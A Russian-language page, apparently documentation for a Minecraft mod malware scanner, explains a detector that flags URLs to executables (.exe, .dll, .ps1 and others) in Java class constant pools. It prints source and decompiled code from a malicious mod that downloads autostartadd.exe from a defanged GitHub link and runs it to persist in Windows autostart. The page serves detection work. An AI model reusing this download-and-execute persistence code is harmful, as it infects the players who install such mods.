Direct Binary Download URL
Влияние на механику Minecraft
Модификации для Minecraft поставляются в виде архивов Java (.jar) и исполняются под управлением виртуальной машины. Когда моду требуется загрузить дополнительные ресурсы, звуки или зависимости, они передаются в кроссплатформенных форматах (.jar, .json, .ogg, .png).
Executable_Download_URL выявляет наличие прямых ссылок на нативные исполняемые файлы (.exe, .bat, .ps1). В подтвержденном вредоносном образце (com.hittools.HitToolsClient в libs.jar) разработчик встроил прямую ссылку на репозиторий GitHub для загрузки .exe файла (autostartadd.exe). При вызове метод скачивает исполняемый файл во временный каталог системы и запускает его через Runtime.getRuntime().exec() для закрепления мода в автозагрузке Windows.
Влияние ограничено целевой платформой: код образца явно проверяет, содержит ли свойство os.name строку windows. На системах под управлением Linux или macOS метод выводит сообщение об ошибке и прерывает работу без скачивания бинарного файла.
Анализируемые функции и API
ConstantPool CONSTANT_Utf8
Строковый литерал в пуле констант класса с прямой ссылкой на исполняемый файл (.exe, .dll, .bat).
Реализация в моде (Исходный код)
private static void addToStartup() {
try {
out.println("FUN_STATUS:[OK] Добавление в автозагрузку...");
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
out.println("FUN_STATUS:[ERR] Только для Windows");
return;
}
String jarPath = new File(HitToolsClient.class.getProtectionDomain().getCodeSource().getLocation().toURI()).getPath();
String tempDir = System.getProperty("java.io.tmpdir");
String autostartUrl = "hxxps://github[.]com/<redacted_user>/<redacted_repo>/raw/main/autostartadd.exe";
String autostartPath = tempDir + "autostartadd.exe";
out.println("FUN_STATUS:[↓] Скачивание autostartadd.exe...");
// Скачиваем программу
downloadFile(autostartUrl, autostartPath);
File autostartExe = new File(autostartPath);
if (!autostartExe.exists()) {
out.println("FUN_STATUS:[ERR] Не удалось скачать autostartadd.exe");
return;
}
out.println("FUN_STATUS:[OK] Программа скачана, добавляем в автозагрузку...");
// Запускаем программу с параметром -add и нашим jar файлом
String command = String.format("\"%s\" -add \"%s\"", autostartPath, jarPath);
Process process = Runtime.getRuntime().exec(command);
int exitCode = process.waitFor();
// ...
Декомпилированный вид (Vineflower)
private static void addToStartup() {
try {
out.println("FUN_STATUS:[OK] Добавление в автозагрузку...");
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
out.println("FUN_STATUS:[ERR] Только для Windows");
return;
}
String var0 = new File(HitToolsClient.class.getProtectionDomain().getCodeSource().getLocation().toURI()).getPath();
String var1 = System.getProperty("java.io.tmpdir");
String var2 = "hxxps://github[.]com/<redacted_user>/<redacted_repo>/raw/main/autostartadd.exe";
String var3 = var1 + "autostartadd.exe";
out.println("FUN_STATUS:[↓] Скачивание autostartadd.exe...");
downloadFile(var2, var3);
File var4 = new File(var3);
if (!var4.exists()) {
out.println("FUN_STATUS:[ERR] Не удалось скачать autostartadd.exe");
return;
}
out.println("FUN_STATUS:[OK] Программа скачана, добавляем в автозагрузку...");
String var5 = String.format("\"%s\" -add \"%s\"", var3, var0);
Process var6 = Runtime.getRuntime().exec(var5);
int var7 = var6.waitFor();
// ...
Сигнатура байткода и статический детект
Детектор анализирует строковые константы в пуле констант класса (CONSTANT_Utf8) на наличие URL-адресов, оканчивающихся расширениями исполняемых файлов и скриптов операционной системы:
- Исполняемые бинарные файлы и библиотеки:
.exe,.dll,.msi. - Скрипты и командные файлы:
.bat,.cmd,.ps1,.sh,.vbs.
Регулярное выражение ищет сетевой протокол с путем, оканчивающимся на указанные расширения, с поддержкой необязательных параметров запроса ((?:[?#][^\s"']*)?).
Сигнатура фиксирует наличие опасного URL непосредственно в байткоде. Главное ограничение заключается в ориентации на строковые константы: если адрес формируется динамически, подгружается из внешнего конфига или собирается конкатенацией фрагментов во время выполнения, статическое сопоставление строк не сработает.